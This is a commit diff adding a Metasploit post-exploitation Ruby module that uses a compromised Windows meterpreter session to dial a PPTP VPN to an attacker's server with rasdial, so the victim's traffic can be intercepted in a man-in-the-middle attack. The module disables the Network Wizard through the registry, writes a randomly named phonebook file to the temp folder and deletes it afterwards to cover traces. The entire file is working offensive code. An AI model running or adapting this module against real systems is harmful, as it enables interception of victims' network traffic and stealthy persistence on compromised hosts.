Added post module to get a MITM through a pptp tunnel

modules/post/windows/manage/pptp_tunnel.rb

@@ -0,0 +1,109 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+class Metasploit3 < Msf::Post
+
+	include Msf::Post::Windows::Priv
+	include Msf::Post::Common
+	include Msf::Post::File
+	include Msf::Post::Windows::Registry
+
+	def initialize(info={})
+		super( update_info( info,
+			'Name'          => 'Windows Manage Remote Point-to-Point Tunneling Protocol',
+			'Description'   => %q{
+					This module iniciates a PPTP connection to a remote machine (VPN server). Once the
+				tunnel is created we can use it to force the victim traffic to go through the server getting
+				a man in the middle attack. Be sure to allow forwarding and masquerading in the server},
+			'License'       => MSF_LICENSE,
+			'Author'        => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
+			'References'    =>
+						[
+							['URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1']
+						],
+			'Platform'      => [ 'windows' ],
+			'SessionTypes'  => [ 'meterpreter' ]
+		))
+
+		register_options(
+			[
+				OptString.new('USERNAME', [true, 'VPN Username.' ]),
+				OptString.new('PASSWORD', [true, 'VPN Password.' ]),
+				OptBool.new('MIM', [true, 'Man in the middle.', true]),
+				OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]),
+				OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']),
+				OptAddress.new('RHOST', [true, 'VPN server.'])
+			], self.class)
+	end
+
+
+	def run
+		disable_network_wizard if sysinfo["OS"] =~ /Windows 7|Vista|2008/
+
+		pbk = create_pbk(datastore['MIM'],datastore['PBK_NAME'])
+		to = (datastore['TIMEOUT'].zero?) ? 60 : datastore['TIMEOUT']
+		begin
+			::Timeout.timeout(to) do
+			run_rasdial(pbk,datastore['USERNAME'],datastore['PASSWORD'],datastore['CONNECTION_NAME'],datastore['RHOST'],datastore['PBK_NAME'])
+			end
+		rescue ::Timeout::Error
+				print_error("Timeout after #{to} seconds")
+		end
+		file_rm(pbk)
+		print_status("Phonebook deleted")
+	end
+
+
+	def disable_network_wizard
+		if not is_admin?
+			print_error("You don't have enough privileges to change the registry. Network Wizard will no be disable")
+			return
+		end
+
+		key = 'HKLM\\System\\CurrentControlSet\\Control\\Network'
+		value = "NewNetworkWindowOff"
+		begin
+			if not registry_getvaldata(key,value)
+				registry_setvaldata(key,value,3,"REG_BINARY")
+				print_good("Network Wizard disabled")
+			end
+		rescue::Exception => e
+			print_status("The following Error was encountered: #{e.class} #{e}")
+		end
+	end
+
+
+	def create_pbk(mim,pbk_name)
+		pbk_dir = expand_path("%TEMP%")
+		pbk_file = pbk_dir << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pbk"
+
+		conf_conn = "[#{pbk_name}]\r\n\r\n"
+		conf_conn += "MEDIA=rastapi\r\n"
+		conf_conn += "Port=VPN4-0\r\n"
+		conf_conn += "DEVICE=vpn\r\n"
+		conf_conn += "IpPrioritizeRemote=0\r\n" if mim == false
+
+		if write_file(pbk_file,conf_conn)
+			print_good ("PhoneBook configuration written to #{pbk_file}")
+			return pbk_file
+		end
+	end
+
+
+	def run_rasdial(pbk,user,pass,conn,rhost,pbk_name)
+		print_status ("Establishing connection ...")
+		cmd_exec("rasdial","/disconnect")
+		output_run = cmd_exec("rasdial","#{pbk_name} #{user} #{pass} /PHONE:#{rhost} /PHONEBOOK:#{pbk}")
+		output_view = cmd_exec("rasdial", nil)
+
+		if output_view =~ /#{pbk_name}/i
+			print_good("Connection Successful")
+		else
+			print_error("Connection failure: #{output_run}")
+		end
+	end
+end